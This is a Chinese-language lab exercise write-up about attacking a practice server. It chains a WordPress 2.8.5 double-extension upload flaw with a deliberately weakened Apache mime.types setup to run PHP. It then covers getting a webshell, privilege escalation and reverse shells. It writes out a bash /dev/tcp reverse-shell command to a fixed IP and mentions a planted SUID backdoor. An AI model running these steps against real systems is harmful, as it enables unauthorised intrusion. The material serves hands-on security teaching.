环境描述:226为这次练习的环境。
实验室的同学在230的内网中不能反弹shell(方法可以看下面),还有不需要反弹shell的方法(内容中会提到),本来想让大家利用内核漏洞提权的,但是遇到了些问题(属于较高要求,内容中会说明)。
下面用到198是教师机,一开始教师机上有个hishop5环境,拿到webshell,再服务器提权。
后来老师把这个端口给禁用了,但是他另外一个端口上用的是wamp环境,可以往服务器写webshell,而且这个不用提权直接就是admin。(所以大家知道肉鸡是哪儿来的了吧)
linux下面本地提权比较多,经常要用到反弹;
外加可能想搭建wordpress的博客,所以就去找这个,熟悉一下环境;
提示:
所以网站找的是wordpress2.8.5的,存在文件上传漏洞;
需要注册用户(至少是作者的权限)才能上传文件;
但是wordpress2.8.5只能使用邮箱验证注册用户,所以根据网上搜到的修改方法将发送给邮箱的随机密码,改到了cookie中(顺便让大家练习一下查看自己的cookie和url编码转换,虽然比较简单)
wordpress2.8.5漏洞分析http://hi.baidu.com/xkill001/item/27100ac41838ba6af6c95dbc
wp-includes/functions.php:
---[cut]---
line 2228:
function wp_check_filetype( $filename, $mimes = null ) {
$mimes = ( is_array( $mimes ) ) ? $mimes : apply_filters( 'upload_mimes', array(
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tif|tiff' => 'image/tiff',
'ico' => 'image/x-icon',
'asf|asx|wax|wmv|wmx' => 'video/asf',
'avi' => 'video/avi',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'exe' => 'application/x-msdownload',......
在wp-includes/functions.php文件中的wp_check_filetype函数中所有的MIME类型就是能上传的文件类型,而且上传时,只检查最后一个文件扩展名,导致test.php.jpg这种文件可以上传成功;
光是有这个漏洞,并不能成功将test.php.jpg解析为php格式,这要配合上apache的解析漏洞,可惜linux下的apache没有解析漏洞,而且我也并不知道哪个版本会有,所以我就只要去搞懂apache解析漏洞的原理。
test.php.aaa,例如aaa这种格式的文件是不存在的,所以apache不能识别他,所以他就比较“智能”的帮你解析到前一个文件的格式php。那么我们怎么让wordpress2.8.5能上传的文件(类似白名单),让这个白名单上的文件类型某些不能被apache识别。根据配置文件识别文件MIME类型受到两个文件影响,一个是/etc/apache2/magic(只会影响有特殊标识的),一个是/etc/mime.types(通过文件扩展名识别的MIME类型,所以这个就是我们需要修改的了)
根据上面的“白名单”,我将exe,class的类型注释掉了,所以当上传test.php.exe,test.php.class为文件名的文件时,就会以php解析。
查找后门
1.肉鸡上本地监听:
2.被入侵的服务器上,主动连接我们的肉鸡,方法有很多,
1>可以通过webshell上自带的linux提权工具来执行(要是别人执行过的话,自己再执行可以就不能成功);
2>通过msf生成具有socket功能的php脚本,上传这个脚本,访问他就执行了;
3>netcat执行命令;
4>/bin/bash -i > /dev/tcp/222.18.158.198/12345 0<&1 2>&1(需要admin权限)
。。。。。。
以第三个为例,
(这个环境已经被安装带有e选项的netcat)
(不用反弹的方式)
直接用虚拟终端执行后门,就可以,但是这个root权限有点限制,例如不能修改root密码(只发现对root的操作会有限制,估计是因为在菜刀这里不是真正的tty终端,后面会说到)。其他命令添加root组用户都是可以使用;
或者,我们写一个文本,里面直接写着“whoami”命令;
然后用我们的后门去执行他。
只针对这个环境,按照提示已经达到了目的。
一开始本来想利用一个本地提权的内核漏洞来搭环境。
Linux 2.6.39 到3.2.0 爆提权漏洞http://www.linuxde.net/2012/01/7021.html
可是。。。反弹回来的shell却执行exp不成功(普通用户直接登录后执行是能拿到root权限的,这让我相当纠结);
后来将2010年到2012年期间linux本地漏洞(内核的比较少,大多数都是安装了其他软件)都测了一遍,这个环境都没能成功拿到root;
最后只好给大家留了一个SUID的shell后门在上面。(心里有个疙瘩没解决总是不舒服的,终于。。。)
通过netcat反弹回来的shell,执行下面的命令
漏洞程序全部执行成功,同时也获得了root权限。
那么那个tty是什么呢?我们真的获得了他?(通过下面的命令将会知道)
很多东西我还经验不足,也说不清楚 只能意会一下,如果有哪位大牛,知道这个原理,求指教